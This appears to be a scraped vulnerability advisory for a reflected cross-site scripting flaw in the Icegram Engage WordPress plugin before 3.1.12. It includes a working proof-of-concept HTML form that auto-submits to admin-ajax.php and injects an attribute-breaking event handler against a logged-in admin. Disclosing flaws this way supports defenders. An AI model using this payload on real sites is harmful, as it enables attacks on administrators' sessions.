Icegram Engage < 3.1.12 - Reflected XSS

2023-05-2200:00:00

wpvulndb

icegram engage

reflected xss

logged in admin

admin-ajax.php

get_message_action_row

submit request

html

form

hidden input

exploit

0.001 Low

EPSS

Percentile

23.1%

JSON

The plugin does not escape a parameter before outputting it back in an attribute, leading to a Reflected Cross-Site Scripting which could be used against high privilege users such as admin

Make a logged in admin open a page with the code below

<html>
  <body onload="document.forms[0].submit()">
    <form action="https://example.com/wp-admin/admin-ajax.php?action=get_message_action_row" method="POST">
      <input type="hidden" name="row" value='" a=a style=position:absolute;top:0;left:0;max-width:9999px;width:9999px;height:9999px onmouseover=alert(`XSS`) b=' />
      <input type="submit" value="Submit request" />
    </form>
  </body>
</html>

0.001 Low

EPSS

Percentile

23.1%

JSON

Related for WPEX-ID:16D47D20-58AA-4D04-9275-FD91CE926FF3